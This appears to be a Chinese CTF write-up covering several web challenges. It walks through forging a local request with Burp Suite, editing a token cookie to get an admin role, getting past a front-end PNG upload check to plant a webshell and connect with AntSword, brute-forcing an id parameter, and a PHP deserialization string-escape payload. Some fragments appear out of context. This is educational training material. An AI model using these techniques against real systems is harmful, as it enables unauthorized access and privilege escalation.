UwU=u
Luv=u
admin
127.0.0.1
MoeBrowser浏览器
在此之前先要学会用bp抓本地包
我们win+R打开cmd,然后输入
ipconfig
将下面的ip复制,把题目的localhost改掉,即可抓本地包
bp抓包,添加我们的参数,得到flag
打开题目,按照给的提示
我们先到./register
,POST传参json数据
{
"username":"dog",
"password":"123456"
}
然后再到./login
登陆一下
{
"username":"dog",
"password":"123456"
}
查看./flag
,结果不行
尝试注册admin用户发现已存在,结合提示可以修改cookie值
抓包./status
,将token解码发现是加密过的
我们修改一下role
为admin
,再次编码,尝试在./status
替换原来的token
然后访问./flag
发现还是不行,于是直接访问./flag
抓包修改cookie值
得到flag
打开题目(F12发现巨佬博客,原来是web前端知识)
发现有问题
文件上传类型的题目
然后F12发现只允许上传png格式
if (!file){
alert('请选择一个文件进行上传!');
return;
}
const allowedExtensions = ['png'];
const fileExtension = file.name.split('.').pop().toLowerCase();
if (!allowedExtensions.includes(fileExtension)) {
alert('只允许上传后缀名为png的文件!');
return;
}
分析一下
const allowedExtensions = ['png'];
定义了一个名为 allowedExtensions 的数组,其中包含允许上传的文件扩展名。在这个例子中,只允许上传扩展名为 ‘png’ 的文件。
const fileExtension = file.name.split('.').pop().toLowerCase();
从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组,并使用 pop() 获取结果数组的最后一个元素,该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写,以进行大小写不敏感的比较。
这样看只需要我们上传的文件名里面包含png的拓展名即可绕过
前提,我们还只能上传png绕过js前端检测
我们创建1.png
然后蚁剑连接
得到flag
打开题目,给了提示
应该说的是GET传参id可以连接到不同宇宙,id的值从1到1000
一个个找太麻烦了,结合提示
应该是要爆破
我们直接bp抓包丢到instruder,添加payload位置
设置payload集为从1到1000
开始爆破,发现?id=676
的长度最特殊,猜测有flag
我们直接访问,发现是另外一道题彼岸的flag
出现过的
直接查看页面源代码,搜索一下得到flag
源代码
';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...
我们再看下Hanxin.exe.php
"Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
分析一下
Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString()
,只要满足Spear_Owner为MaoLei就可得到flagecho 'Your Movements: ' . $after . '
';
刚好满足但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()
后,可以发现Spear_Owner的值我们是修改不了的。这就是个问题,我们怎么做到修改一个不可被修改的值呢
关键点在于Deadly_Thirteen_Spears.Make_a_Move()
,同时结合我们的目的,我们可以利用字符串逃逸来实现绕过
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"MaoLei";}
我们尝试把";s:11:"Spear_Owner";s:6:"MaoLei";}
写到Chant里面,然后把后面的部分挤掉
同时长度变为4+35
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:39:"test";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
这时候我们利用替换前后长度差与之相等
这里我选的是构造7*(di_qi_qiang),因为当它被替换后长度差为5,5*7刚好为我们要的
只要做到下面这样就可以得到flag,长度为39+35
O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:74:"di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
所以payload为
?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}